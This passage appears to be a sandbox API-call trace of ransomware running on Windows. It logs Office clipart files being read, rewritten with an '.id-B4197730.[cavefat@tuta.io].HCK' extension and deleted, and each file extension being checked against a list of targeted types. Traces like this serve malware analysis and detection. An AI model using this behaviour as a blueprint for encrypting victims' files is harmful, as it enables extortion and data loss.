dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.469] GetLastError () returned 0x0 [0180.469] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xb7c, lpOverlapped=0x0) returned 1 [0180.472] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xb80, lpOverlapped=0x0) returned 1 [0180.472] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.472] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.472] SetEndOfFile (hFile=0x300) returned 1 [0180.475] CloseHandle (hObject=0x300) returned 1 [0180.476] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.476] SetEndOfFile (hFile=0x39c) returned 1 [0180.480] CloseHandle (hObject=0x39c) returned 1 [0180.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00390_.wmf")) returned 1 [0180.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF") returned 68 [0180.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF") returned 68 [0180.483] lstrlenW (lpString=".doc") returned 4 [0180.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.483] lstrlenW (lpString=".docx") returned 5 [0180.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.483] lstrlenW (lpString=".pdf") returned 4 [0180.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.483] lstrlenW (lpString=".xls") returned 4 [0180.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.483] lstrlenW (lpString=".xlsx") returned 5 [0180.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.483] lstrlenW (lpString=".ppt") returned 4 [0180.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF") returned 68 [0180.483] lstrlenW (lpString=".zip") returned 4 [0180.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.483] lstrlenW (lpString=".rar") returned 4 [0180.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.483] lstrlenW (lpString=".bz2") returned 4 [0180.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.483] lstrlenW (lpString=".7z") returned 3 [0180.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF") returned 68 [0180.483] lstrlenW (lpString=".dbf") returned 4 [0180.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF") returned 68 [0180.483] lstrlenW (lpString=".1cd") returned 4 [0180.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF") returned 68 [0180.483] lstrlenW (lpString=".jpg") returned 4 [0180.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF") returned 68 [0180.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF") returned 68 [0180.483] lstrlenW (lpString=".doc") returned 4 [0180.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.483] lstrlenW (lpString=".docx") returned 5 [0180.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.483] lstrlenW (lpString=".pdf") returned 4 [0180.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.483] lstrlenW (lpString=".xls") returned 4 [0180.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.483] lstrlenW (lpString=".xlsx") returned 5 [0180.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.483] lstrlenW (lpString=".ppt") returned 4 [0180.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF") returned 68 [0180.484] lstrlenW (lpString=".zip") returned 4 [0180.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.484] lstrlenW (lpString=".rar") returned 4 [0180.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.484] lstrlenW (lpString=".bz2") returned 4 [0180.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.484] lstrlenW (lpString=".7z") returned 3 [0180.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF") returned 68 [0180.484] lstrlenW (lpString=".dbf") returned 4 [0180.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF") returned 68 [0180.484] lstrlenW (lpString=".1cd") returned 4 [0180.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF") returned 68 [0180.484] lstrlenW (lpString=".jpg") returned 4 [0180.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.484] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.484] lstrlenW (lpString="SO00444_.WMF") returned 12 [0180.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.485] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5444) returned 1 [0180.485] CloseHandle (hObject=0x2fc) returned 1 [0180.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00444_.wmf")) returned 0x220 [0180.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00444_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.493] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.493] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00444_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.496] GetLastError () returned 0x0 [0180.496] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1544, lpOverlapped=0x0) returned 1 [0180.499] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1550, lpOverlapped=0x0) returned 1 [0180.500] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.500] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.500] SetEndOfFile (hFile=0x300) returned 1 [0180.502] CloseHandle (hObject=0x300) returned 1 [0180.502] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.502] SetEndOfFile (hFile=0x368) returned 1 [0180.505] CloseHandle (hObject=0x368) returned 1 [0180.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00444_.wmf")) returned 1 [0180.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF") returned 68 [0180.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF") returned 68 [0180.510] lstrlenW (lpString=".doc") returned 4 [0180.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.510] lstrlenW (lpString=".docx") returned 5 [0180.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.510] lstrlenW (lpString=".pdf") returned 4 [0180.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.510] lstrlenW (lpString=".xls") returned 4 [0180.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.510] lstrlenW (lpString=".xlsx") returned 5 [0180.510] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.510] lstrlenW (lpString=".ppt") returned 4 [0180.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF") returned 68 [0180.510] lstrlenW (lpString=".zip") returned 4 [0180.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.510] lstrlenW (lpString=".rar") returned 4 [0180.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.510] lstrlenW (lpString=".bz2") returned 4 [0180.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.510] lstrlenW (lpString=".7z") returned 3 [0180.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF") returned 68 [0180.511] lstrlenW (lpString=".dbf") returned 4 [0180.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF") returned 68 [0180.511] lstrlenW (lpString=".1cd") returned 4 [0180.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF") returned 68 [0180.511] lstrlenW (lpString=".jpg") returned 4 [0180.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF") returned 68 [0180.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF") returned 68 [0180.511] lstrlenW (lpString=".doc") returned 4 [0180.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.511] lstrlenW (lpString=".docx") returned 5 [0180.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.511] lstrlenW (lpString=".pdf") returned 4 [0180.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.511] lstrlenW (lpString=".xls") returned 4 [0180.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.511] lstrlenW (lpString=".xlsx") returned 5 [0180.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.511] lstrlenW (lpString=".ppt") returned 4 [0180.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF") returned 68 [0180.511] lstrlenW (lpString=".zip") returned 4 [0180.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.511] lstrlenW (lpString=".rar") returned 4 [0180.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.511] lstrlenW (lpString=".bz2") returned 4 [0180.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.511] lstrlenW (lpString=".7z") returned 3 [0180.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF") returned 68 [0180.511] lstrlenW (lpString=".dbf") returned 4 [0180.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF") returned 68 [0180.511] lstrlenW (lpString=".1cd") returned 4 [0180.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF") returned 68 [0180.511] lstrlenW (lpString=".jpg") returned 4 [0180.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.511] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.511] lstrlenW (lpString="SO00466_.WMF") returned 12 [0180.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00466_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.513] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2760) returned 1 [0180.513] CloseHandle (hObject=0x3a4) returned 1 [0180.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00466_.wmf")) returned 0x220 [0180.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00466_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.516] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.516] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00466_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.521] GetLastError () returned 0x0 [0180.521] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xac8, lpOverlapped=0x0) returned 1 [0180.522] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xad0, lpOverlapped=0x0) returned 1 [0180.523] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.523] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.523] SetEndOfFile (hFile=0x3a4) returned 1 [0180.524] CloseHandle (hObject=0x3a4) returned 1 [0180.526] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.526] SetEndOfFile (hFile=0x39c) returned 1 [0180.527] CloseHandle (hObject=0x39c) returned 1 [0180.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00466_.wmf")) returned 1 [0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF") returned 68 [0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF") returned 68 [0180.530] lstrlenW (lpString=".doc") returned 4 [0180.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString=".docx") returned 5 [0180.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.530] lstrlenW (lpString=".pdf") returned 4 [0180.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString=".xls") returned 4 [0180.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.530] lstrlenW (lpString=".xlsx") returned 5 [0180.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.530] lstrlenW (lpString=".ppt") returned 4 [0180.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF") returned 68 [0180.530] lstrlenW (lpString=".zip") returned 4 [0180.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.530] lstrlenW (lpString=".rar") returned 4 [0180.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString=".bz2") returned 4 [0180.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString=".7z") returned 3 [0180.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF") returned 68 [0180.530] lstrlenW (lpString=".dbf") returned 4 [0180.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF") returned 68 [0180.530] lstrlenW (lpString=".1cd") returned 4 [0180.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF") returned 68 [0180.530] lstrlenW (lpString=".jpg") returned 4 [0180.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF") returned 68 [0180.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF") returned 68 [0180.530] lstrlenW (lpString=".doc") returned 4 [0180.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.530] lstrlenW (lpString=".docx") returned 5 [0180.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.530] lstrlenW (lpString=".pdf") returned 4 [0180.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.531] lstrlenW (lpString=".xls") returned 4 [0180.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.531] lstrlenW (lpString=".xlsx") returned 5 [0180.531] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.531] lstrlenW (lpString=".ppt") returned 4 [0180.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF") returned 68 [0180.531] lstrlenW (lpString=".zip") returned 4 [0180.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.531] lstrlenW (lpString=".rar") returned 4 [0180.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.531] lstrlenW (lpString=".bz2") returned 4 [0180.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.531] lstrlenW (lpString=".7z") returned 3 [0180.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF") returned 68 [0180.531] lstrlenW (lpString=".dbf") returned 4 [0180.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF") returned 68 [0180.531] lstrlenW (lpString=".1cd") returned 4 [0180.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF") returned 68 [0180.531] lstrlenW (lpString=".jpg") returned 4 [0180.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.531] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.531] lstrlenW (lpString="SO00486_.WMF") returned 12 [0180.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00486_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.538] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7768) returned 1 [0180.538] CloseHandle (hObject=0x370) returned 1 [0180.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00486_.wmf")) returned 0x220 [0180.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00486_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00486_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.541] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.542] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00486_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.547] GetLastError () returned 0x0 [0180.547] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1e58, lpOverlapped=0x0) returned 1 [0180.549] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1e60, 